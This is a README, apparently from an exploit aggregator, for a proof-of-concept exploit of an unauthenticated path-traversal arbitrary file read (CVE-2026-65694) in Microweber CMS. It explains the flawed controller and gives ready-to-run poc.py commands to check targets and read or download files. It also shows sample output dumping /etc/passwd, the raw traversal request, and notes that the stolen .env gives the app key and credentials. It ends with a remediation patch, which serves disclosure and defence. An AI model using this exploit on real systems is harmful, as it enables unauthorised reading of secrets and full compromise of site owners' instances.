## https://sploitus.com/exploit?id=566642C7-D80C-5E20-9790-03A5CE91EF92
# CVE-2026-65694 โ Microweber CMS Unauthenticated Arbitrary File Read
Proof-of-concept for **CVE-2026-65694**, an **unauthenticated path-traversal โ arbitrary file read** in [Microweber CMS](https://github.com/microweber/microweber).
An unauthenticated attacker can read any file the web-server user can access โ the Laravel `.env` (APP_KEY, DB credentials, mail/cloud secrets), `/etc/passwd`, logs, keys, non-`.php` configuration, etc. โ via the public `GET /userfiles/{path}` route.
- **CVE:** CVE-2026-65694
- **Type:** Path Traversal โ Unauthenticated Arbitrary File Read (CWE-22 / CWE-23)
- **Severity:** High โ CVSS 3.1 **7.5** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`)
- **Affected:** Microweber โค 2.0.20 and current `master` (vulnerable line still present)
- **Authentication:** None
## Root cause
`src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php`
```php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // path()
$path = normalize_path(userfiles_path() . $path, false); // sendResponse($path, $request);
}
```
The route is registered unauthenticated:
```php
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
```
Two problems combine:
1. **Input override.** `$request->path` (property access, not the `$request->path()` method) resolves through Laravel's `Request::__get` โ `Arr::get($this->all(), 'path', fn() => $this->route('path'))`. So a **`?path=` query parameter overrides the `{path}` route segment** โ and query values are *not* subject to the URL-path `..` normalization a browser/server applies.
2. **No canonicalization.** `normalize_path()` only collapses slashes; it never strips or resolves `..`, and there is no check that the resolved path stays inside `userfiles_path()`. PHP's file layer then resolves the `..` sequences on the filesystem.
The controller blocks only the `.php`, `.phtml`, and `.php7` extensions (`skip_ext`), so PHP source is not directly readable โ but **everything else is** (`.env`, `/etc/passwd`, logs, keys, SQLite DBs, JSON/YAML config, โฆ).
## Requirements
```bash
pip install -r requirements.txt
```
Reachable on any deployment that uses the recommended `public/` document root (Microweber's shipped `public/.htaccess`, or an nginx `try_files $uri /index.php` front controller), where `userfiles/` lives outside the web root and `/userfiles/*` is dispatched to the Laravel router.
## Usage
Three actions:
```
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
```
| Flag | Action |
|------|--------|
| `--check` | Report whether the target is vulnerable (yes/no), without dumping data |
| `-r`, `--read FILE` | Read a file and print it to stdout |
| `-d`, `--download FILE` | Read a file and save it locally (`-o`/`--output` sets the name) |
Traversal depth is auto-detected (increasing `../` until the file is served); override with `--depth N`. Route through Burp with `--proxy http://127.0.0.1:8080`. Add `-v` for the raw request.
### Example
```
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
```
The underlying request is simply:
```
GET /userfiles/?path=../../../../etc/passwd HTTP/1.1
Host: target
```
## Impact
Unauthenticated arbitrary file read. Leaking the Laravel `.env` yields the `APP_KEY`
(session/cookie forgery), database credentials, mail password, and cloud keys โ effectively
full compromise of the instance's secrets.
## Remediation
Read the **bound route parameter** instead of the input property, canonicalize with `realpath()`,
and verify the resolved path stays inside `userfiles_path()`:
```php
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
```
## Credit
Discovered and reported by **Bobur Abdugafforov**. CVE-2026-65694 assigned via VulnCheck.
## Disclaimer
For authorized security testing and educational use only. Do not use against systems you do not own or have explicit permission to test.